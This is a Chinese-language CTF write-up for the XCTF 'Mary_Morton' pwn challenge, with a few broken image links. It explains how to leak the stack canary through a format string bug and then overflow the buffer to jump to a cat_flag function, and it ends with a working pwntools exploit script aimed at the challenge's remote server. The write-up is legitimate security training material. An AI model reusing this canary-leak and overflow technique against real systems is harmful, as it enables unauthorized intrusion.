0x0 程序保护和流程
保护:

流程:
main()
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bq3HEwXC-1591926684688)(C:UsersPCDesktop学习任务CTFxctf高手Mary_Mortonpicturemain.png)]](http://img.huajiangbk.com/upload/news/2025/0118/photos/middle/20250118064316_1hd1l_dm2ltpks.jpg)

如果输入1会进入

这个函数有一个栈溢出漏洞。
如果输入2会进入

这个函数有一个格式化字符串漏洞。
还有一个cat_flag的函数

0x1 利用过程
首先这个程序开启了canary,所以直接栈溢出会报错。但是我们知道v2变量中存放的是canary值(v2在函数开始时就被**__readfsqword(0x28u)赋值,函数结束前与__readfsqword(0x28u)**进行比较),如果我们能通过格式化字符串漏洞将v2的值泄露出来就可以利用栈溢出漏洞。首先先确定偏移量。

偏移量为6的位置是格式化字符串漏洞这个函数的栈的开始位置,而开始位置距离与v2的距离为0x88。所以当格式化字符串构造成**%(6+0x88/8)p**的时候就会将v2这个地址中的值已十六进制的形式输出出来。之后就可以绕过canary获得flag了。
0x02 exp
from pwn import * sh=remote('220.249.52.133','45164') #sh=process('./a') cat_flag=0x4008DA offset=6 sh.recvuntil('3. Exit the battle n') sh.sendline('2') payload='%{}$p'.format(offset+0x88/8) sh.sendline(payload) sh.recvuntil("0x") canary_addr=int(sh.recv(16), 16) sh.recvuntil('3. Exit the battle n') sh.sendline('1') payload='a'*0x88+p64(canary_addr)+'a'*8+p64(cat_flag) sh.sendline(payload) sh.interactive()
12345678910111213141516
